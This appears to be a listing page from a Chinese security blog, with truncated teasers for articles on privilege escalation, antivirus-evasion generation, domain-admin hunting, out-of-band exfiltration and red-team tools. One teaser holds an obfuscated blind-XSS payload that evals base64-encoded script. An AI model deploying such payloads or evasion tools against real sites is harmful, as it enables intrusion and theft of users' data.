此工具是一款非常好用的Windows下提权辅助工具(已经支持Windows 10下的提权了),国内已经有许多人在用了,但是一直没有相应的中文文档,所以我特地翻译了一下,水平有限,如有错误,欢迎指出,谢...
GoBypass - Golang免杀生成工具
Golang免杀生成工具,参考网上已有的免杀方式实现的半自动免杀马生成工具,需要本地安装Golang环境,支持多种参数与方式生成。项目地址:https://github.com/4ra1n/GoByp...
DBIR2022年勒索软件的激增加剧了全球数据泄露问题
根据最新版本的Verizon数据泄露调查报告(DBIR),勒索软件攻击在过去12个月中增加了13%,增幅超过过去五年的总和。报告指出指出勒索软件攻击呈两位数增长。5月24日发布的2022年版DBIR涉...
198个安全工程师必须掌握的Docker/K8s核心知识点(干货收藏)
Stack Overflow上的数据显示,旧金山地区Kubernetes开发/运维人员的入门薪水是142000 美元(90.3万人民币),而拥有六年经验的人高达162000美元(103万人民币)。&n...
微软SMB和空会话介绍
微软SMB和空会话介绍2020年2月21日 空会话(Null sessions) SMB是我在微软工作期间接触最多的技术之一。您也可能通...
常用的域管理员定位工具
一、 SPN扫描不同于常规的tcp/udp端口扫描,由于spn本质就是正常的Kerberos请求,所以扫描是非常隐蔽,日前针对此类扫描的检测暂时也比较少。大部分win系统默认已自带spn探测...
命令执行/SQL盲注无回显外带方式
声明:该公众号大部分文章来自作者日常学习笔记,也有部分文章是经过作者授权和其他公众号白名单转载,未经授权,严禁转载,如需转载,联系开白。请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与...
Blind XSS
Payload:"><input onfocus=eval(atob(http://this.id)) id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCg...
Python GUI界面版端口扫描工具
转载于:行者匠心 值得分享学习学习一、结构导图二、部分代码:# 图形界面class PortScan(object): de...
常见web应用服务器分析
原文始发于微信公众号(网络安全与取证研究):常见web应用服务器分析
神兵利器——红队知识仓库(建议收藏)
网站导航编码/加密CyberChef:编解码及加密,可本地部署 https://github.com/gchq/CyberChefOK Tools在线工具:https://github.com/wan...
软件供应链安全已成为CIO最担忧的问题之一
软件供应链安全在近两年热度飙升,甲方对其的关注度也大幅提升。近日,Venafi对多达1000位来自于各个企业的CIO进行的一项新调查显示,有超过80%的受访者表示,他们所在的组织容易受到针对软件供应链...
15291